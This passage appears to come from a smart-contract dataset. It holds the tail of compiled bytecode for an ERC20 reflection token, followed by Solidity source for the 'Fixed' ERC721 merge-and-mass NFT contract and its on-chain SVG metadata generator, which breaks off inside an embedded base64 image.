ffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461225490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612063816122b2565b61206d848361236f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516120ca9190612d04565b60405180910390a3505050505050505050565b60008083118290612124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211b9190612ba2565b60405180910390fd5b50600083856121339190612e90565b9050809150509392505050565b600080600060085490506000683635c9adc5dea000009050612176683635c9adc5dea00000600854611e9d90919063ffffffff16565b82101561219557600854683635c9adc5dea0000093509350505061219e565b81819350935050505b9091565b60008060008060008060008060006121bf8a600a54600b546123a9565b92509250925060006121cf611ee7565b905060008060006121e28e87878761243f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061224c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119c6565b905092915050565b60008082846122639190612e3a565b9050838110156122a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229f90612c24565b60405180910390fd5b8091505092915050565b60006122bc611ee7565b905060006122d382846124c890919063ffffffff16565b905061232781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461225490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6123848260085461220a90919063ffffffff16565b60088190555061239f8160095461225490919063ffffffff16565b6009819055505050565b6000806000806123d560646123c7888a6124c890919063ffffffff16565b611e9d90919063ffffffff16565b905060006123ff60646123f1888b6124c890919063ffffffff16565b611e9d90919063ffffffff16565b905060006124288261241a858c61220a90919063ffffffff16565b61220a90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061245885896124c890919063ffffffff16565b9050600061246f86896124c890919063ffffffff16565b9050600061248687896124c890919063ffffffff16565b905060006124af826124a1858761220a90919063ffffffff16565b61220a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124db576000905061253d565b600082846124e99190612ec1565b90508284826124f89190612e90565b14612538576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252f90612c44565b60405180910390fd5b809150505b92915050565b600061255661255184612db9565b612d94565b9050808382526020820190508285602086028201111561257557600080fd5b60005b858110156125a5578161258b88826125af565b845260208401935060208301925050600181019050612578565b5050509392505050565b6000813590506125be816133a5565b92915050565b6000815190506125d3816133a5565b92915050565b600082601f8301126125ea57600080fd5b81356125fa848260208601612543565b91505092915050565b600081359050612612816133bc565b92915050565b600081519050612627816133bc565b92915050565b60008135905061263c816133d3565b92915050565b600081519050612651816133d3565b92915050565b60006020828403121561266957600080fd5b6000612677848285016125af565b91505092915050565b60006020828403121561269257600080fd5b60006126a0848285016125c4565b91505092915050565b600080604083850312156126bc57600080fd5b60006126ca858286016125af565b92505060206126db858286016125af565b9150509250929050565b6000806000606084860312156126fa57600080fd5b6000612708868287016125af565b9350506020612719868287016125af565b925050604061272a8682870161262d565b9150509250925092565b6000806040838503121561274757600080fd5b6000612755858286016125af565b92505060206127668582860161262d565b9150509250929050565b60006020828403121561278257600080fd5b600082013567ffffffffffffffff81111561279c57600080fd5b6127a8848285016125d9565b91505092915050565b6000602082840312156127c357600080fd5b60006127d184828501612603565b91505092915050565b6000602082840312156127ec57600080fd5b60006127fa84828501612618565b91505092915050565b60008060006060848603121561281857600080fd5b600061282686828701612642565b935050602061283786828701612642565b925050604061284886828701612642565b9150509250925092565b600061285e838361286a565b60208301905092915050565b61287381612f4f565b82525050565b61288281612f4f565b82525050565b600061289382612df5565b61289d8185612e18565b93506128a883612de5565b8060005b838110156128d95781516128c08882612852565b97506128cb83612e0b565b9250506001810190506128ac565b5085935050505092915050565b6128ef81612f61565b82525050565b6128fe81612fa4565b82525050565b600061290f82612e00565b6129198185612e29565b9350612929818560208601612fb6565b612932816130f0565b840191505092915050565b600061294a602383612e29565b915061295582613101565b604082019050919050565b600061296d602a83612e29565b915061297882613150565b604082019050919050565b6000612990602283612e29565b915061299b8261319f565b604082019050919050565b60006129b3601b83612e29565b91506129be826131ee565b602082019050919050565b60006129d6602183612e29565b91506129e182613217565b604082019050919050565b60006129f9602083612e29565b9150612a0482613266565b602082019050919050565b6000612a1c602983612e29565b9150612a278261328f565b604082019050919050565b6000612a3f602583612e29565b9150612a4a826132de565b604082019050919050565b6000612a62602483612e29565b9150612a6d8261332d565b604082019050919050565b6000612a85601783612e29565b9150612a908261337c565b602082019050919050565b612aa481612f8d565b82525050565b612ab381612f97565b82525050565b6000602082019050612ace6000830184612879565b92915050565b6000604082019050612ae96000830185612879565b612af66020830184612879565b9392505050565b6000604082019050612b126000830185612879565b612b1f6020830184612a9b565b9392505050565b600060c082019050612b3b6000830189612879565b612b486020830188612a9b565b612b5560408301876128f5565b612b6260608301866128f5565b612b6f6080830185612879565b612b7c60a0830184612a9b565b979650505050505050565b6000602082019050612b9c60008301846128e6565b92915050565b60006020820190508181036000830152612bbc8184612904565b905092915050565b60006020820190508181036000830152612bdd8161293d565b9050919050565b60006020820190508181036000830152612bfd81612960565b9050919050565b60006020820190508181036000830152612c1d81612983565b9050919050565b60006020820190508181036000830152612c3d816129a6565b9050919050565b60006020820190508181036000830152612c5d816129c9565b9050919050565b60006020820190508181036000830152612c7d816129ec565b9050919050565b60006020820190508181036000830152612c9d81612a0f565b9050919050565b60006020820190508181036000830152612cbd81612a32565b9050919050565b60006020820190508181036000830152612cdd81612a55565b9050919050565b60006020820190508181036000830152612cfd81612a78565b9050919050565b6000602082019050612d196000830184612a9b565b92915050565b600060a082019050612d346000830188612a9b565b612d4160208301876128f5565b8181036040830152612d538186612888565b9050612d626060830185612879565b612d6f6080830184612a9b565b9695505050505050565b6000602082019050612d8e6000830184612aaa565b92915050565b6000612d9e612daf565b9050612daa8282612fe9565b919050565b6000604051905090565b600067ffffffffffffffff821115612dd457612dd36130c1565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e4582612f8d565b9150612e5083612f8d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612e8557612e84613063565b5b828201905092915050565b6000612e9b82612f8d565b9150612ea683612f8d565b925082612eb657612eb5613092565b5b828204905092915050565b6000612ecc82612f8d565b9150612ed783612f8d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f1057612f0f613063565b5b828202905092915050565b6000612f2682612f8d565b9150612f3183612f8d565b925082821015612f4457612f43613063565b5b828203905092915050565b6000612f5a82612f6d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612faf82612f8d565b9050919050565b60005b83811015612fd4578082015181840152602081019050612fb9565b83811115612fe3576000848401525b50505050565b612ff2826130f0565b810181811067ffffffffffffffff82111715613011576130106130c1565b5b80604052505050565b600061302582612f8d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561305857613057613063565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6133ae81612f4f565b81146133b957600080fd5b50565b6133c581612f61565b81146133d057600080fd5b50565b6133dc81612f8d565b81146133e757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202c3d44094c61f6622155e29670b965e70c52837eb3be22866de9e1a92404ae1864736f6c63430008040033
[ 13, 5 ]
0xf388760410144b255c9aa354b087a67d8772c233
// SPDX-License-Identifier: MIT pragma solidity ^0.8.6; /** * OoOoOoOoOoOoOoOoOoOoOoOoOoOaOoOoOoOoOoOoOoOoOoOoOoOoOoOaOoOoOoOoOoOoOoOoOoOoOoOoo * OoOoOoOoOoOoOoOoOoOoOoOoOoO OoOoOoOoOoOoOoOoOoOoOoOoOoOo * OoOoOoOoOoOoOoOoOoOoO OoOoOoOoOoOoOoOoOoOoOo * OoOoOoOoOoOoOoOoOo OoOoOoOoOoOoOoOoOo * OoOoOoOoOoOoOo oOoOoOoOoOoOoOo * OoOoOoOoOoOo OoOoOoOoOoOo * OoOoOoOoOo OoOoOoOoOo * OoOoOoOo OoOoOoOo * OoOoOo OoOoOo * OoOoO oOoOo * OoOo OoOo * OoO oOo * Oo oO * Oo oO * O O * O O * OOOOOOOOOOOOOOOOOOOOOOOOO0000000 my name is non OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO * O O * O O * Oo oO * Oo oO * OoO oOo * OoOo OoOo * OoOoO oOoOo * OoOoOo OoOoOo * OoOoOoOo OoOoOoOo * OoOoOoOoOo OoOoOoOoOo * OoOoOoOoOoOo OoOoOoOoOoOo * OoOoOoOoOoOoOo oOoOoOoOoOoOoOo * OoOoOoOoOoOoOoOoOo OoOoOoOoOoOoOoOoOo * OoOoOoOoOoOoOoOoOoOoO OoOoOoOoOoOoOoOoOoOoOo * OoOoOoOoOoOoOoOoOoOoOoOoOoO OoOoOoOoOoOoOoOoOoOoOoOoOoOo * oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOooOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOooOoOoOo */ import {SafeMath} from "../util/SafeMath.sol"; import "../util/Counters.sol"; import "../util/MerkleProof.sol"; import {Strings} from "../util/Strings.sol"; import {IFixedMetadata} from "./FixedMetadata.sol"; interface IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface ERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed fromAddress, address indexed toAddress); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } interface ERC721Metadata { function name() external view returns (string memory _name); function symbol() external view returns (string memory _symbol); function tokenURI(uint256 _tokenId) external view returns (string memory); } interface IMerge { function getValueOf(uint256 tokenId) external view returns (uint256); } contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } contract Fixed is ERC721, ERC721Metadata { using SafeMath for uint256; using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; IFixedMetadata public _metadataGenerator; IMerge public _Merge; string private _name; string private _symbol; bytes32 public _merkleRoot; bool public _mintingFinalized; uint256 public _countMint; uint256 public _countToken; uint256 immutable public _percentageTotal; uint256 public _percentageRoyalty; uint256 public _alphaMass; uint256 public _alphaId; uint256 public _massTotal; address public _non; address public _dead; address public _receiver; address proxyRegistryAddress; mapping (address => bool) _defaultApprovals; event AlphaMassUpdate(uint256 indexed tokenId, uint256 alphaMass); event MassUpdate(uint256 indexed tokenIdBurned, uint256 indexed tokenIdPersist, uint256 mass); // Mapping of addresses disbarred from holding any token. mapping (address => bool) private _blacklistAddress; // Mapping of address allowed to hold multiple tokens. mapping (address => bool) private _whitelistAddress; // Mapping from owner address to token ID. mapping (address => uint256) private _tokens; // Mapping owner address to token count. mapping (address => uint256) private _balances; // Mapping from token ID to owner address. mapping (uint256 => address) private _owners; // Mapping from token ID to approved address. mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals. mapping (address => mapping (address => bool)) private _operatorApprovals; // Mapping token ID to mass value. mapping (uint256 => uint256) private _values; // Mapping token ID to all quantity merged into it. mapping (uint256 => uint256) private _mergeCount; mapping (address => bool) private _mints; function getMergeCount(uint256 tokenId) public view returns (uint256 mergeCount) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); return _mergeCount[tokenId]; } modifier onlyNon() { require(_msgSender() == _non, "Fixed: msg.sender is not non"); _; } /** * @dev Set the values carefully! * * Requirements: * * - `merge_` merge. (0x27d270B7d58D15D455c85c02286413075f3C8a31) * - `metadataGenerator_` (/0xCFF0eDafFe7cAE0D7F2007baf1D7Cc254f38B597) * - `non_` - Initial non address (0x4b9cFa53329Fe768a344233a5A1cB821eFc82597) * - `proxyRegistryAddress_` - OpenSea proxy registry (0xa5409ec958c83c3f309868babaca7c86dcb077c1/0xf57b2c51ded3a29e6891aba85459d600256cf317) * - `transferProxyAddress_` - Rarible transfer proxy (0x4fee7b061c97c9c496b01dbce9cdb10c02f0a0be/0x7d47126a2600E22eab9eD6CF0e515678727779A6) * - `merkleRoot_` - Merkle root (0x28bc4b70fafd51f87a3a4ebafe122e5a33fad7152087f2010119805a89c36138) */ constructor(address merge_, address metadataGenerator_, address non_, address proxyRegistryAddress_, address transferProxyAddress_, bytes32 merkleRoot_) { _tokenIdCounter.increment(); _metadataGenerator = IFixedMetadata(metadataGenerator_); _Merge = IMerge(merge_); _name = "fixed."; _symbol = "f"; _non = non_; _receiver = non_; _dead = 0x000000000000000000000000000000000000dEaD; _percentageTotal = 10000; _percentageRoyalty = 1000; _blacklistAddress[address(this)] = true; proxyRegistryAddress = proxyRegistryAddress_; _defaultApprovals[transferProxyAddress_] = true; _merkleRoot = merkleRoot_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view returns (uint256) { return _countToken; } function setMerkleRoot(bytes32 merkleRoot_) onlyNon public { _merkleRoot = merkleRoot_; } function merge(uint256 tokenIdRcvr, uint256 tokenIdSndr) external returns (uint256 tokenIdDead) { address ownerOfTokenIdRcvr = ownerOf(tokenIdRcvr); address ownerOfTokenIdSndr = ownerOf(tokenIdSndr); require(ownerOfTokenIdRcvr == ownerOfTokenIdSndr, "Fixed: Illegal argument disparate owner."); require(_msgSender() == ownerOfTokenIdRcvr, "ERC721: msg.sender is not token owner."); return _merge(tokenIdRcvr, tokenIdSndr, ownerOfTokenIdRcvr, ownerOfTokenIdSndr); } function _transfer(address from, address to, uint256 tokenId) internal { require(_exists(tokenId), "ERC721: transfer attempt for nonexistent token"); require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); require(!_blacklistAddress[to], "Fixed: transfer attempt to blacklist address"); require(from != to, "ERC721: transfer attempt to self"); if(to == _dead){ _burn(tokenId); return; } _approve(address(0), tokenId); if(_tokens[to] == 0){ _tokens[to] = tokenId; delete _tokens[from]; _owners[tokenId] = to; _balances[to] = 1; _balances[from] = 0; emit Transfer(from, to, tokenId); return; } uint256 tokenIdRcvr = _tokens[to]; uint256 tokenIdSndr = tokenId; uint256 tokenIdDead = _merge(tokenIdRcvr, tokenIdSndr, to, from); delete _owners[tokenIdDead]; } function _merge(uint256 tokenIdRcvr, uint256 tokenIdSndr, address ownerRcvr, address ownerSndr) internal returns (uint256 tokenIdDead) { require(tokenIdRcvr != tokenIdSndr, "Fixed: Illegal argument identical tokenId."); uint256 massRcvr = decodeMass(_values[tokenIdRcvr]); uint256 massSndr = decodeMass(_values[tokenIdSndr]); _balances[ownerRcvr] = 1; _balances[ownerSndr] = 0; emit Transfer(_owners[tokenIdSndr], address(0), tokenIdSndr); _values[tokenIdRcvr] += massSndr; uint256 combinedMass = massRcvr + massSndr; if(combinedMass > _alphaMass) { _alphaId = tokenIdRcvr; _alphaMass = combinedMass; emit AlphaMassUpdate(_alphaId, combinedMass); } _mergeCount[tokenIdRcvr]++; delete _values[tokenIdSndr]; delete _tokens[ownerSndr]; _countToken -= 1; emit MassUpdate(tokenIdSndr, tokenIdRcvr, combinedMass); return tokenIdSndr; } function setRoyaltyBips(uint256 percentageRoyalty_) external onlyNon { require(percentageRoyalty_ <= _percentageTotal, "Fixed: Illegal argument more than 100%"); _percentageRoyalty = percentageRoyalty_; } function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address, uint256) { uint256 royaltyAmount = (salePrice * _percentageRoyalty) / _percentageTotal; return (_receiver, royaltyAmount); } function setBlacklistAddress(address address_, bool status) external onlyNon { _blacklistAddress[address_] = status; } function setNon(address non_) external onlyNon { _non = non_; } function setRoyaltyReceiver(address receiver_) external onlyNon { _receiver = receiver_; } function setMetadataGenerator(address metadataGenerator_) external onlyNon { _metadataGenerator = IFixedMetadata(metadataGenerator_); } function whitelistUpdate(address address_, bool status) external onlyNon { if(status == false) { require(balanceOf(address_) <= 1, "Fixed: Address with more than one token can't be removed."); } _whitelistAddress[address_] = status; } function isWhitelisted(address address_) public view returns (bool) { return _whitelistAddress[address_]; } function isBlacklisted(address address_) public view returns (bool) { return _blacklistAddress[address_]; } function ownerOf(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721: owner query for nonexistent token"); return _owners[tokenId]; } /** * @dev Generate the NFTs of this collection. * * Emits a series of {Transfer} events. */ function mint(uint256 mass_, string memory nonce_, bytes32[] calldata proof_) external { require(!_mintingFinalized, "Fixed: Minting is finalized."); require(_mints[msg.sender] == false); _mints[msg.sender] = true; string memory key_ = string(abi.encodePacked(mass_.toString(), ":", nonce_)); require(_verify(_leaf(msg.sender, key_), proof_), "Invalid merkle proof"); uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); uint256 alphaId = _alphaId; uint256 alphaMass = _alphaMass; uint256 value = _Merge.getValueOf(tokenId); if (value == 0) { value = 100000001; } (uint256 class, uint256 m) = decodeClassAndMass(value); value = mass_ + (class * 100000000); _values[tokenId] = value; _owners[tokenId] = msg.sender; _tokens[msg.sender] = tokenId; require(class > 0 && class <= 4, "Fixed: Class must be between 1 and 4."); require(mass_ > 0 && mass_ < 99999999, "Fixed: Mass must be between 1 and 99999999."); if(alphaMass < mass_){ alphaMass = mass_; alphaId = tokenId; } emit Transfer(address(0), msg.sender, tokenId); _countMint += 1; _countToken += 1; _balances[msg.sender] = 1; _massTotal += mass_; if(_alphaId != alphaId) { _alphaId = alphaId; _alphaMass = alphaMass; emit AlphaMassUpdate(alphaId, alphaMass); } } function finalize() external onlyNon { _mintingFinalized = true; } function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function balanceOf(address owner) public view override returns (uint256) { return _balances[owner]; } function massOf(uint256 tokenId) public view virtual returns (uint256) { return decodeMass(_values[tokenId]); } function getValueOf(uint256 tokenId) public view virtual returns (uint256) { return _values[tokenId]; } function tokenOf(address owner) public view virtual returns (uint256) { uint256 token = _tokens[owner]; return token; } function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) { return true; } return _defaultApprovals[operator] || _operatorApprovals[owner][operator]; } function _exists(uint256 tokenId) internal view returns (bool) { return _values[tokenId] != 0; } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function tokenURI(uint256 tokenId) public virtual view override returns (string memory) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); return _metadataGenerator.tokenMetadata( tokenId, decodeClass(_values[tokenId]), decodeMass(_values[tokenId]), decodeMass(_values[_alphaId]), tokenId == _alphaId, getMergeCount(tokenId)); } function encodeClassAndMass(uint256 class, uint256 mass) public pure returns (uint256) { require(class > 0 && class <= 4, "Fixed: Class must be between 1 and 4."); require(mass > 0 && mass < 99999999, "Fixed: Mass must be between 1 and 99999999."); return ((class * 100000000) + mass); } function decodeClassAndMass(uint256 value) public pure returns (uint256, uint256) { uint256 class = value.div(100000000); uint256 mass = value.sub(class.mul(100000000)); require(class > 0 && class <= 4, "Fixed: Class must be between 1 and 4."); require(mass > 0 && mass < 99999999, "Fixed: Mass must be between 1 and 99999999."); return (class, mass); } function decodeClass(uint256 value) public pure returns (uint256) { return value.div(100000000); } function decodeMass(uint256 value) public pure returns (uint256) { return value.sub(decodeClass(value).mul(100000000)); } function _msgSender() internal view returns (address) { return msg.sender; } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (isContract(to)) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } return true; } function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { bytes4 _ERC165_ = 0x01ffc9a7; bytes4 _ERC721_ = 0x80ac58cd; bytes4 _ERC2981_ = 0x2a55205a; bytes4 _ERC721Metadata_ = 0x5b5e139f; return interfaceId == _ERC165_ || interfaceId == _ERC721_ || interfaceId == _ERC2981_ || interfaceId == _ERC721Metadata_; } function burn(uint256 tokenId) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not owner nor approved"); _burn(tokenId); } function _burn(uint256 tokenId) internal { address owner = ownerOf(tokenId); _approve(address(0), tokenId); _massTotal -= decodeMass(_values[tokenId]); delete _tokens[owner]; delete _owners[tokenId]; delete _values[tokenId]; _countToken -= 1; _balances[owner] -= 1; emit MassUpdate(tokenId, 0, 0); emit Transfer(owner, address(0), tokenId); } function _leaf(address account, string memory payload) internal pure returns (bytes32) { return keccak256(abi.encodePacked(payload, account)); } function _verify(bytes32 leaf, bytes32[] memory proof) internal view returns (bool) { return MerkleProof.verify(proof, _merkleRoot, leaf); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.6; import {ABDKMath64x64} from "../util/ABDKMath64x64.sol"; import {Base64} from "../util/Base64.sol"; import {Roots} from "../util/Roots.sol"; import {Strings} from "../util/Strings.sol"; interface IFixedMetadata { function tokenMetadata( uint256 tokenId, uint256 rarity, uint256 tokenMass, uint256 alphaMass, bool isAlpha, uint256 mergeCount) external view returns (string memory); } contract FixedMetadata is IFixedMetadata { struct ERC721MetadataStructure { bool isImageLinked; string name; string description; string createdBy; string image; ERC721MetadataAttribute[] attributes; } struct ERC721MetadataAttribute { bool includeDisplayType; bool includeTraitType; bool isValueAString; string displayType; string traitType; string value; } using ABDKMath64x64 for int128; using Base64 for string; using Roots for uint; using Strings for uint256; address public owner; string private _name; string private _imageBaseURI; string private _imageExtension; uint256 private _maxRadius; string[] private _imageParts; mapping (string => string) private _classStyles; mapping (string => string) private _spheres; mapping (string => string) private _sphereDefs; string constant private _RADIUS_TAG = '<RADIUS>'; string constant private _SPHERE_TAG = '<SPHERE>'; string constant private _SPHERE_DEFS_TAG = '<SPHERE_DEFS>'; string constant private _CLASS_TAG = '<CLASS>'; string constant private _CLASS_STYLE_TAG = '<CLASS_STYLE>'; constructor() { owner = msg.sender; _name = "f"; _imageBaseURI = ""; // Set to empty string - results in on-chain SVG generation by default unless this is set later _imageExtension = ""; // Set to empty string - can be changed later to remain empty, .png, .mp4, etc _maxRadius = 1000; // Deploy with default SVG image parts - can be completely replaced later _imageParts.push("<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='2000' height='2000'>"); _imageParts.push("<style>"); _imageParts.push(".m1 #c{fill: #fff;}"); _imageParts.push(".m1 #r{fill: #000;}"); _imageParts.push(".m2 #c{fill: #fc3;}"); _imageParts.push(".m2 #r{fill: #000;}"); _imageParts.push(".m3 #c{fill: #fff;}"); _imageParts.push(".m3 #r{fill: #33f;}"); _imageParts.push(".m4 #c{fill: #fff;}"); _imageParts.push(".m4 #r{fill: #f33;}"); _imageParts.push(".a #c{fill: #000 !important;}"); _imageParts.push(".a #r{fill: #fff !important;}"); _imageParts.push(".s{transform:scale(calc("); _imageParts.push(_RADIUS_TAG); _imageParts.push(" / 1000));transform-origin:center}"); _imageParts.push(_CLASS_STYLE_TAG); _imageParts.push("</style>"); _imageParts.push("<g class='"); _imageParts.push(_CLASS_TAG); _imageParts.push("'>"); _imageParts.push("<rect id='r' width='2000' height='2000'/>"); _imageParts.push("<circle id='c' cx='1000' cy='1000' r='"); _imageParts.push(_RADIUS_TAG); _imageParts.push("'/>"); _imageParts.push("<g class='s'>"); _imageParts.push("<svg width='2000' height='2000' viewBox='0 0 800 800' fill='none' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'>"); _imageParts.push(_SPHERE_TAG); _imageParts.push("<defs>"); _imageParts.push(_SPHERE_DEFS_TAG); _imageParts.push("<image id='i0' width='96' height='96' xlink:href='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGAAAABgCAMAAADVRocKAAAAilBMVEUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATAggvAAAALXRSTlMAZ3hMWDGOhV8qCKw4JME9FX8eD1JBmUVtt54ZcabllKLPstu71cfL+d/07+sT+YOiAAAW9klEQVRo3gzORaLkOADAUBljO8ycSjH89v2vN7PQWo8YHEHGy03OCR5ZdQwxjw4xf8jvprXu7eY0LnCiRYUxpizjevp6nzZqbreIaRzIuSTLy2e8wpJMjiZwVUQ6sySiQd4buabj6n672OLj5ncSV2kD9aW0Z3JHrnVnaokEaQfW7Y6UoWTxdF62AWy4n0uphUuV8A2ABpU9W9vcwWX++o1/b1UVKDlFfeu8awvfZsoMqdbEOChztan42mhlewhPLMZx22WiUHxVeakAZvVWx+wKSRpLEjCrLz8c8xy44KnZGi/wIm1eu3dSPdhi7au6Hr0OcdSUxU1H1BnHSb5EfLVvMEnFkQ8qEw915HlS67zTsXwgBplut99AdFf5DBMOI868YUzrror6Lher1+QLaVnZn2gPbuYb6kJMs9gJEGTcGWMs2nqPFCG3kekelRoTkjeWqKeVQSVaoB6/Vza0SI4TYUwwZ5ng5ovvtVvlk4U+aHrmHH+PZMGFf1lMZ5Az0pIwKbHmlJrXlLIYUIWfh2kZZontZIgjUThRXglxAN+e1GRaaeFE3igUWZFCGSs259OyYXxi+bs+VNZQnn4gwPDkotPHeOEJJI7GvznFn3ylkce/yJ+RTqSjIA+dSlwQl8KwME/3qvqb3jYfmrHX013b63WvGcosge/otqG7eHfNCkfqxoagW1hMVcuijOai2xRhFzEWPj6FtfHZ80uiToQDX